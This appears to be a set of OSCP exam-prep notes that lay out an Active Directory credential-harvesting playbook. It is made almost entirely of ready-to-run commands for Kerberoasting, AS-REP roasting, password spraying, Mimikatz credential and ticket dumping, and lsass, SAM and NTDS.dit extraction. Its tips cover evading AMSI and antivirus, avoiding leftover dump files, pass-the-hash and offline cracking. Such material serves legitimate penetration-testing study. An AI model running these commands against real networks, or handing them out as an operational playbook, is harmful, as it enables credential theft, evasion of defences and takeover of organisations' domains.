Grabbing Creds
Covers step 4 of OSCP AD Set - Assumed Breach Methodology. Run against everything reachable.
| Technique | Command | Notes |
|---|---|---|
| Kerberoasting | impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <DC-IP> -request | Crack w/ hashcat -m 13100 |
| AS-REP Roasting | impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC-IP> -format hashcat | Needs "Do not require Kerberos preauth" set; crack w/ -m 18200 |
| Password reuse / spray | nxc smb <range> -u users.txt -p 'Season2026!' --continue-on-success | Only if allowed, mind lockout policy |
| LAPS read | nxc ldap <DC-IP> -u <user> -p <pass> -M laps | Needs ReadLAPSPassword on a principal |
| gMSA read | nxc ldap <DC-IP> -u <user> -p <pass> -M gmsa | Needs ReadGMSAPassword on an edge |
Local Credential Dumping
Once you have a shell (not just domain creds), check whoami /priv in a PowerShell window specifically, not cmd, cmd shows assigned-but-unenabled privileges as Disabled even when PowerShell auto-enables them at session start. A plain domain user holding SeDebugPrivilege or SeImpersonatePrivilege is a misconfig, not normal.
If you land a SYSTEM shell via a service (e.g. webshell via Apache), the token is a restricted service token - sekurlsa and token::list will hit handle errors. Use the comsvcs.dll lsass dump instead (different API path, avoids the restriction).
| Technique | Command | Notes |
|---|---|---|
| Mimikatz, live, PSv2/AMSI bypass | powershell -version 2 then . .\Invoke-Mimikatz.ps1 (PowerSploit) | AMSI hooks PS 3.0+ only, v2 skips it entirely. Avoid dropping mimikatz.exe to disk, AV sigs it on write. |
| ↳ dump creds | Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"' | Look for any session that isn't your own, cached DA/service logons on a workstation are the goal |
| ↳ steal SYSTEM token | Invoke-Mimikatz -Command '"privilege::debug" "token::elevate"' | Needs SeDebug, grabs lsass/winlogon's token. whoami after to confirm |
| ↳ cached domain creds | lsadump::cache | MS-CACHEv2 hashes for domain users who previously logged into this machine. Crack with hashcat -m 2100. Separate from SAM/local hashes. |
| ↳ LSA secrets | lsadump::lsa /patch | Machine account password (WS26$), service account creds, DPAPI secrets - separate from SAM |
| ↳ Kerberos tickets | sekurlsa::tickets /export | Dumps TGTs and service tickets for all active sessions - use for pass-the-ticket to other machines |
| LSASS dump, offline - use when sekurlsa fails | tasklist /svc | findstr lsass then rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\Users\Public\lsass.dmp full | Signed LOLBIN, different API path from Mimikatz - bypasses handle errors from restricted service tokens. Exfil and parse with pypykatz lsa minidump lsass.dmp on Kali |
| SAM/SYSTEM dump via SeBackup | reg save HKLM\SAM C:\sam.save / reg save HKLM\SYSTEM C:\system.save | Needs SeBackupPrivilege. Exfil both, secretsdump.py -sam sam.save -system system.save LOCAL |
| ASR check before any of the above | Get-MpPreference | select AttackSurfaceReductionRules_Ids, AttackSurfaceReductionRules_Actions | LSASS credential theft is a common ASR rule target, rarely configured on standalone/non-Intune boxes though |
Other user profiles - check once you have SYSTEM:
dir C:\Users\
Any profile beyond the expected accounts is worth digging into with full filesystem access. Check Desktop, Documents, Downloads, AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ for each.
Once you have local admin creds (not just a shell), nxc can pull all of the above remotely, no need to touch the target's disk or run anything interactively.
| Technique | Command | Notes |
|---|---|---|
| SAM dump | nxc smb <ip> -u <user> -p <pass> --sam | Local accounts + hashes, equivalent to secretsdump.py -sam/-system |
| LSA secrets | nxc smb <ip> -u <user> -p <pass> --lsa | Cached creds, service account passwords, autologon creds - includes MS-CACHEv2 |
| NTDS.dit (DC only) | nxc smb <dc-ip> -u <user> -p <pass> --ntds | Full domain hash dump, add --users to filter or -M ntdsutil for the alt collection method |
| lsass via lsassy module | nxc smb <ip> -u <user> -p <pass> -M lsassy | Remote lsass dump + parse in one shot, no dump file left behind on disk |
| lsass via nanodump module | nxc smb <ip> -u <user> -p <pass> -M nanodump | Smaller/stealthier dump than a full MiniDump, writes to disk on target briefly then pulls it |
| Mimikatz module | nxc smb <ip> -u <user> -p <pass> -M mimikatz -o COMMAND='sekurlsa::logonpasswords' | Runs the exact Mimikatz command remotely, no manual staging needed |
| Local admin auth (not domain) | add --local-auth to any of the above | Use when authenticating with a local Administrator account instead of a domain one |
Next
Cracked creds or a new hash open up Lateral Movement, or feed back into ACL & Edge Abuse if the new principal holds an interesting edge.
Post-Pwn Credential Hunting
After getting SYSTEM/local admin on a domain-joined workstation, check for credentials that can move you deeper into the domain.
Active sessions
quser
qwinsta
Look for other users with interactive sessions. In BloodHound, check HasSession on the compromised host and internal servers.
Local Administrator hash reuse
nxc smb <internal-ip> -u Administrator -H '<NTLM>'
nxc winrm <internal-ip> -u Administrator -H '<NTLM>'
Try the hash against internal Windows hosts before spending significant time cracking a Kerberoast ticket.
LAPS / gMSA
nxc ldap <DC-IP> -u <user> -p '<pass>' -M laps
nxc ldap <DC-IP> -u <user> -p '<pass>' --gmsa
Check BloodHound for ReadLAPSPassword and ReadGMSAPassword.
Service and backup credentials
On the compromised host and accessible SMB shares, search for service configs, scheduled-task scripts and backup files. Pay particular attention to .xml, .ini, .config, .ps1, .sql and .bak files.
If a Kerberoastable account has a description such as Backup Service Account, treat that as a lead rather than assuming the ticket must be cracked. Look for the account's password in backup scripts/configuration on the server it services.
Kerberoast cracking
RockYou failing is not the end of the road. Before using larger lists, build a small targeted wordlist from the environment: hostnames, domain name, service name, account description and other discovered naming conventions. Apply mutation rules rather than only trying more raw words.